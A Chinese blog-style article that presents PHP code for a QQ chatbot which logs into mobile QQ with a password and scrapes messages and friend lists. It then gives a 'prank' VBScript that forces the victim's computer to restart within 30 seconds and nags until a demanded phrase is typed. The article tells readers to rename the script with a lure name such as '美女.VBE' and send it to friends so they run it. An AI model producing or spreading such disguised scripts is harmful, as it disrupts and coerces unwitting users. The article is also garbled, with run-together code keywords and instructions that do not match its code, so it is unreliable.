大家好,本篇文章为大家解答以上问题,相信很多人对QQ聊天机器人代码都不是特别的了解,因此呢,今天就来为大家分享下关于QQ聊天机器人代码以及QR专用词库免费的问题知识,还望可以帮助大家,解决大家的一些困惑,下面一起来看看吧!
本文目录一览
qq聊天机器人的原理
QQ聊天机器人(QQ chatterbot)是一个用来模拟人类对话或聊天的程序。“Eliza”和 “Parry”是早期非常著名的聊天机器人。它试图建立这样的程序:至少暂时性地让一个真正的人类认为他们正在和另一个人聊天。
qq聊天机器人的PHP原理
<?php
include"http_no_cookie.class.php";
classqq {
public$sid;
public$http;
public$qq_num;
function__construct() {
$this->http =newhttp_no_cookie;
}
functionlogin($qq_num,$qq_pwd) {
echo $data=$this->http->get("http://pt.3g.qq.com/");
$action= preg_match("/action=\"(.+)?\"/",$data,$matches);
$action=$matches[1];
$params=array();
$params["login_url"] ="http://pt.3g.qq.com/s?aid=nLogin";
$params["sidtype"] = 1;
$params["loginTitle"] ="手机腾讯网";
$params["bid"] = 0;
$params["qq"] =$qq_num;
$params["pwd"] =$qq_pwd;
$params["loginType"] =1;
echo$data=$this->http->post($action, http_build_query($params));
if(preg_match("/http:\/\/vc.gtimg.com\//",$data,$matches)){
echo"需要输入验证码";
return0;
exit;
}
if(preg_match("/密码错误/",$data,$matches)){
echo"密码错误";
return1;
exit;
}
$action= preg_match("/sid=(.+?)&/",$data,$matches);
$this->sid =$matches[1];
return$this->sid;
}
functionsendMsg($to_num,$msg,$sid= 0) {
$sid=$sid?$sid:$this->sid;
if(!$sid)
exit("sid值未传入进去");
$params=array();
$params["msg"] =$msg;
$params["u"] =$to_num;
$params["saveURL"] = 0;
$params["do"] ="send";
$params["on"] = 1;
$params["aid"] ="发送";
$url="http://q16.3g.qq.com/g/s?sid=".$sid;
echo$data=$this->http->post($url, http_build_query($params));
return$data;
}
functiongetMsg($qq_num= 0,$sid= 0) {
$qq_num=$qq_num?$qq_num:$this->qq_num;
if(!$qq_num)
exit("qq_num值未传入进去");
$sid=$sid?$sid:$this->sid;
if(!$sid)
exit("sid值未传入进去");
$url="http://q16.3g.qq.com/g/s?sid=".$sid."&3G_UIN=".$qq_num."&saveURL=0&aid=nqqChat";
$data=$this->http->get($url);
preg_match("/name=\"u\" value=\"(\d+)\"/",$data,$matches);
$result["qq"] =$matches[1];
$data=explode("<form",$data);
$data=$data[0];
preg_match_all("/<p>(.+)?<\/p>/",$data,$matches);
unset($matches[1][0]);
$result["content"] =$matches[1];
return$result;
}
functionlogout($sid){
$url="http://pt.3g.qq.com/s?sid=".$sid."&aid=nLogout";
echo$url;
echo$this->http->get($url);
}
functiongetFriendsList($qq_num= 0,$sid= 0){
$result=array();
$qq_num=$qq_num?$qq_num:$this->qq_num;
if(!$qq_num)
exit("qq_num值未传入进去");
$sid=$sid?$sid:$this->sid;
if(!$sid)
exit("sid值未传入进去");
$url="http://q16.3g.qq.com/g/s?aid=nqqchatMain&sid=".$sid."&myqq=".$qq_num;
while(true){
$i=1;
$url.="&p=".$i;
$data=$this->http->get($url);
preg_match_all("/u=(.+?)&/",$data,$matches);
foreach($matches[1]as$key=>$value){
$result[]=$value;
}
if(count($matches[1])<13)
break;
$i++;
}
return$result;
}
}
<?php
//PHP代码
classhttp_no_cookie {
private$curl;
public$user_agent="Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13";
publicfunctionget($url) {
$this->curl = curl_init();
curl_setopt($this->curl, CURLOPT_CONNECTTIMEOUT, 8);
curl_setopt($this->curl, CURLOPT_URL,$url);
curl_setopt($this->curl, CURLOPT_HEADER, 0);
curl_setopt($this->curl, CURLOPT_USERAGENT,$this->user_agent);
curl_setopt($this->curl, CURLOPT_RETURNTRANSFER, 1);
$data= curl_exec($this->curl);
curl_close($this->curl);
return$data;
}
publicfunctionpost($url,$params) {
$this->curl = curl_init();
curl_setopt($this->curl, CURLOPT_CONNECTTIMEOUT, 8);
curl_setopt($this->curl, CURLOPT_URL,$url);
curl_setopt($this->curl, CURLOPT_HEADER, 1);
curl_setopt($this->curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($this->curl, CURLOPT_POST, 1);
curl_setopt($this->curl, CURLOPT_USERAGENT,$this->user_agent);
curl_setopt($this->curl, CURLOPT_POSTFIELDS,$params);
curl_setopt($this->curl, CURLOPT_RETURNTRANSFER, 1);
$data= curl_exec($this->curl);
curl_close($this->curl);
return$data;
}
}
?>
手机QQ的整人代码大全
第一步,将以下代码 到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个QQ炸弹,在30秒后会自动关机。
下面说一下使用方法:
最简单的使用方法是,你直接发给好友,让他运行,然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊!")
WScript.Echo("推荐你来的肯定是个坏蛋!")
WScript.Echo("欢迎来到被整软件站!")
WScript.Echo("是谁设计的?")
WScript.Echo("Is me")
WScript.Echo("你好,你要点30次确定哦!")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")